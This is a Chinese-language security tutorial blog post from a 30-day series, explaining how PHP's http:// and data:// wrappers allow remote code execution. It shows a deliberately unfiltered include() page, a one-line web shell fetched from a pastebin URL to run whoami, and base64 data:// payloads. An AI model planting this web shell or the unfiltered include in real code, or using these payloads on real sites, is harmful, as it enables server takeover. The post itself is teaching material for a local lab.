iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 13
1
Security

資安0~100K只要30天系列 第 13

Day 13 - PHP 偽協議 (三)

  • 分享至 

  • xImage
  •  

今天介紹另外兩種協議
跟昨天的級別不同
這兩個都可以造成 RCE

http(s)://

  • 需開啟 allow_url_include
  • 用法
    • http://<網址>
    • 就是你一般打 URL 那樣~

模擬遠端檔案

這邊介紹一個網站 pastebin.com
我們可以將一些小東西放在這邊供網路存取
用來模擬遠端伺服器上的文件
這樣就不用老是自己開伺服器了

首先新增一個簡單的 php sample, 然後按發布

接著選擇 raw 會跳轉到另一個只有程式碼的空白頁
這頁的網址才是我們等等需要的

跑個 php 的伺服器起來

index.php 寫跟昨天一樣什麼都沒過濾的範例

<?php
include($_GET['path']);
?>

還有在網頁根目錄下新增一個檔案 php.ini 內容是

allow_url_include=1

開啟網頁後將剛剛遠端的網址放進 get 變數中
你會發現畫面上印出了 hello

這樣就代表成功包含了遠端的檔案

到了這邊 各位有沒有想到
既然可以執行我們自己寫的任意 php code
那可不可以利用 PHP 來執行系統指令

當然可以
這就是上面說到的 RCE (Remote Code Excution)

我們再一次利用 pastebin 寫一個簡單的一句話木馬

<?php system($_GET['cmd']); ?>

path 的網址換成新的並給上新的 get 參數 cmd

例如 ?path=https://pastebin.com/raw/VYE80MLy&cmd=whoami

執行 whoami 這個系統指令會回傳當前的使用者是誰

成功!

data://

  • 需開啟 allow_url_include
  • 用法
    • data://<media type>[;encode],<data>

前面的 media type 可參考 wiki
用來表示 data 的型態

中間的 encdoe 意思是後面的 data 以什麼方式編碼,前面一定要跟著分號
可選 base64

最後的 data 就是資料本身,前面一定要帶一個逗號

舉個例子
一樣使用上面那份 index.php

我們可以在 path 輸入

data://text/plain,<?php echo 'hello';?>

一樣會出現 hello
如果要使用編碼

data://text/plain;base64,PD9waHAgZWNobyAnaGVsbG8nOz8+

但這邊要注意最後的 +
在 URL 上面需要再經過一次 url-encode 轉成 %2B
變成 data://text/plain;base64,PD9waHAgZWNobyAnaGVsbG8nOz8%2B

到了這裡你會發現後面的 php 也是我們可以任意寫入的
因此也會造成跟上面 http:// 一樣的 RCE 問題
大家也要記得非必要請別開啟 allow_url_include 這項設定


上一篇
Day 12 - PHP 偽協議 (一)
下一篇
Day 14 - PHP 反序列化 (一)
系列文
資安0~100K只要30天30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言